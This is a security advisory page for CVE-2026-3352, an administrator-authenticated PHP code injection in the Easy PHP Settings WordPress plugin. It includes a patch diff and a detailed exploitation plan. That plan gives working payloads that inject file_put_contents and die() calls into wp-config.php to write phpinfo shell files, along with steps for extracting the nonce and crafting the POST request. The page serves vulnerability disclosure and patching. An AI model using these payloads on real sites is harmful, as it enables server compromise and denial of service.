CVE-2026-3352

Easy PHP Settings <= 1.0.4 - Authenticated (Administrator+) PHP Code Injection via 'wp_memory_limit' Setting

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.0.5
Patched in
1d
Time to patch

Description

The Easy PHP Settings plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.0.4 via the `update_wp_memory_constants()` method. This is due to insufficient input validation on the `wp_memory_limit` and `wp_max_memory_limit` settings before writing them to `wp-config.php`. The `sanitize_text_field()` function used for sanitization does not filter single quotes, allowing an attacker to break out of the string context in a PHP `define()` statement. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject and execute arbitrary PHP code on the server by modifying `wp-config.php`, which is loaded on every page request.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.0.4
PublishedMarch 6, 2026
Last updatedMarch 7, 2026
Affected plugineasy-php-settings

What Changed in the Fix

Changes introduced in v1.0.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3352 - Easy PHP Settings PHP Code Injection ## 1. Vulnerability Summary The **Easy PHP Settings** plugin (up to version 1.0.4) is vulnerable to authenticated PHP Code Injection. The vulnerability exists in the `update_wp_memory_constants()` method, which is re…

Show full research plan

Exploitation Research Plan: CVE-2026-3352 - Easy PHP Settings PHP Code Injection

1. Vulnerability Summary

The Easy PHP Settings plugin (up to version 1.0.4) is vulnerable to authenticated PHP Code Injection. The vulnerability exists in the update_wp_memory_constants() method, which is responsible for updating WordPress memory constants (WP_MEMORY_LIMIT and WP_MAX_MEMORY_LIMIT) in the wp-config.php file.

The plugin uses sanitize_text_field() to sanitize user-provided values for these settings. However, sanitize_text_field() does not remove single quotes ('). This allows an administrator to provide a value that breaks out of the single-quoted string context in a PHP define() statement, enabling the injection of arbitrary PHP code directly into wp-config.php.

2. Attack Vector Analysis

  • Endpoint: WordPress Admin Dashboard, specifically the settings page for Easy PHP Settings.
  • Hook: admin_init.
  • Target Method: Easy_PHP_Settings::update_wp_memory_constants() (likely called via a handler in admin_init).
  • Vulnerable Parameters: wp_memory_limit or wp_max_memory_limit.
  • Authentication Level: Administrator or higher (Network Admin in multisite). The get_capability() method returns manage_network_options for multisite and manage_options otherwise.
  • Precondition: The wp-config.php file must be writable by the web server (a common requirement for this plugin's functionality).

3. Code Flow

  1. Entry Point: An Administrator sends a POST request to wp-admin/admin.php?page=easy-php-settings (or tools.php?page=easy-php-settings) to save memory settings.
  2. Initialization: The Easy_PHP_Settings::__construct registers several methods to the admin_init hook. One of these (inferred to be related to memory settings) handles the POST data.
  3. Processing: The plugin identifies that wp_memory_limit or wp_max_memory_limit is present in the request.
  4. Vulnerable Method: The plugin calls update_wp_memory_constants().
  5. Sanitization Failure: The code applies sanitize_text_field() to the input.
    • Input: 256M'); file_put_contents('rce.php', '<?php phpinfo();'); //
    • Sanitized: 256M'); file_put_contents('rce.php', '<?php phpinfo();'); // (Single quotes remain).
  6. Sink: The plugin reads wp-config.php, performs a replacement to update the define('WP_MEMORY_LIMIT', '...') line, and writes the modified content back using file_put_contents.
  7. Execution: Since wp-config.php is loaded on every page request, the injected code executes immediately upon the next request.

4. Nonce Acquisition Strategy

The plugin uses a nonce for its actions. In enqueue_styles, it localizes script data:

  • JS Object: easy_php_settingsAdminVars
  • Nonce Key: nonce
  • Action String: easy_php_settings_ajax_nonce

To obtain the nonce:

  1. Navigate to the plugin settings page: /wp-admin/tools.php?page=easy-php-settings.
  2. Execute the following via browser_eval:
    window.easy_php_settingsAdminVars?.nonce
    
  3. If the settings update uses a standard form nonce (e.g., _wpnonce), it can be extracted from the HTML:
    document.querySelector('input[name="_wpnonce"]')?.value
    

5. Exploitation Strategy

Step 1: Authentication

Log in as an Administrator.

Step 2: Extract Nonce

Navigate to /wp-admin/tools.php?page=easy-php-settings and extract the nonce using the strategy in Section 4.

Step 3: Trigger PHP Injection

Send a POST request to the admin interface. Based on the plugin's structure, it likely uses a tab-based system. We will target the wp_memory_limit parameter.

  • Request URL: /wp-admin/tools.php?page=easy-php-settings
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    _wpnonce=[NONCE]&wp_memory_limit=256M');file_put_contents(ABSPATH.'pwned.php','<?php phpinfo();'); //&action=update_memory_settings
    
    (Note: The action parameter and exact POST body structure should be confirmed by inspecting the form on the page.)

Step 4: Execution Trigger

Navigate to any page (e.g., the homepage /) to trigger the execution of wp-config.php.

Step 5: Verify RCE

Check if the file pwned.php was created.

6. Test Data Setup

  1. Install and activate the Easy PHP Settings plugin version 1.0.4.
  2. Ensure the environment has an Administrator user.
  3. Verify that wp-config.php contains the standard WP_MEMORY_LIMIT definition or is in a state where the plugin can insert it.
  4. Ensure the web server has write permissions to wp-config.php and the root directory.

7. Expected Results

  • The POST request should return a 302 redirect or a 200 OK success message.
  • The wp-config.php file will be modified to include:
    define( 'WP_MEMORY_LIMIT', '256M');file_put_contents(ABSPATH.'pwned.php','<?php phpinfo();'); //' );
    
  • A subsequent request to any WordPress page will execute the file_put_contents call.
  • Accessing /pwned.php will display the PHP info page.

8. Verification Steps

  1. Check Config: Use WP-CLI to inspect the wp-config.php contents:
    cat /var/www/html/wp-config.php | grep "WP_MEMORY_LIMIT"
    
  2. Check File Creation:
    ls -la /var/www/html/pwned.php
    
  3. HTTP Verification:
    Request /pwned.php and check for the string "PHP Version".

9. Alternative Approaches

If the plugin uses a specific admin_init handler that requires different parameters:

  • Alternative Parameter: Target wp_max_memory_limit.
  • Blind Execution: If file_put_contents fails due to directory permissions, use update_option to inject a backdoor into an autoloaded option:
    256M');update_option('rce_check','executed');//
  • Error-Based: Use die() to confirm execution:
    256M');die('VULNERABLE_CHECK');// (Site will go down with "VULNERABLE_CHECK" until config is fixed).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy PHP Settings plugin for WordPress is vulnerable to authenticated PHP Code Injection via the 'wp_memory_limit' and 'wp_max_memory_limit' settings. Administrators can inject arbitrary PHP code into the site's `wp-config.php` file because the plugin uses `sanitize_text_field()`, which fails to strip single quotes, allowing an attacker to break out of the `define()` function's string context.

Vulnerable Code

// class-easy-php-settings.php @ approx line 428
	public function sanitize_wp_memory_settings( $input ) {
		$new_input = array();

		foreach ( $this->wp_memory_settings_keys as $key ) {
			if ( isset( $input[ $key ] ) ) {
				$new_input[ $key ] = sanitize_text_field( $input[ $key ] );
			}
		}

		// ...

		// Update wp-config.php with WordPress memory settings.
		if ( ! empty( $new_input ) ) {
			$this->update_wp_memory_constants( $new_input );
		}

		return $new_input;
	}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/easy-php-settings/1.0.4/class-easy-php-settings.php	2025-11-03 14:53:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/easy-php-settings/1.0.5/class-easy-php-settings.php	2026-02-28 15:20:52.000000000 +0000
@@ -428,7 +463,18 @@
 
 		foreach ( $this->wp_memory_settings_keys as $key ) {
 			if ( isset( $input[ $key ] ) ) {
-				$new_input[ $key ] = sanitize_text_field( $input[ $key ] );
+				sanitized = Easy_Settings_Validator::sanitize_setting( $key, $input[ $key ] );
+				$validation = Easy_Settings_Validator::validate_wp_memory_setting( $key, $sanitized );
+				if ( is_wp_error( $validation ) ) {
+					Easy_Error_Handler::add_settings_error(
+						'easy_php_settings_wp_memory_settings',
+						'validation_error_' . $key,
+						$validation->get_error_message(),
+						'error'
+					);
+					continue;
+				}
+				$new_input[ $key ] = $sanitized;
 			}
 		}
 
@@ -437,7 +483,17 @@
 
 		// Update wp-config.php with WordPress memory settings.
 		if ( ! empty( $new_input ) ) {
-			$this->update_wp_memory_constants( $new_input );
+			try {
+				$this->update_wp_memory_constants( $new_input );
+			} catch ( Exception $e ) {
+				Easy_Error_Handler::handle_exception( $e, 'update_wp_memory_constants' );
+				Easy_Error_Handler::add_settings_error(
+					'easy_php_settings_wp_memory_settings',
+					'config_update_error',
+					__( 'Failed to update wp-config.php. Please check error log.', 'easy-php-settings' ),
+					'error'
+				);
+			}
 		}

Exploit Outline

1. Authenticate as a WordPress Administrator (or Network Admin in multisite environments). 2. Navigate to the plugin's settings page (typically under Tools > Easy PHP Settings) to retrieve a valid security nonce from the `easy_php_settingsAdminVars` JavaScript object. 3. Prepare a POST request to the settings update endpoint (e.g., `wp-admin/tools.php?page=easy-php-settings`). 4. Include a payload in the `easy_php_settings_wp_memory_settings[wp_memory_limit]` parameter that uses a single quote to escape the string context of the `define()` statement in `wp-config.php`. Example payload: `256M'); file_put_contents('shell.php', '<?php phpinfo(); ?>'); //`. 5. Send the POST request. This triggers `update_wp_memory_constants()`, which writes the payload directly into `wp-config.php`. 6. Trigger the execution of the injected code by visiting any page on the WordPress site, as `wp-config.php` is included in every request.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.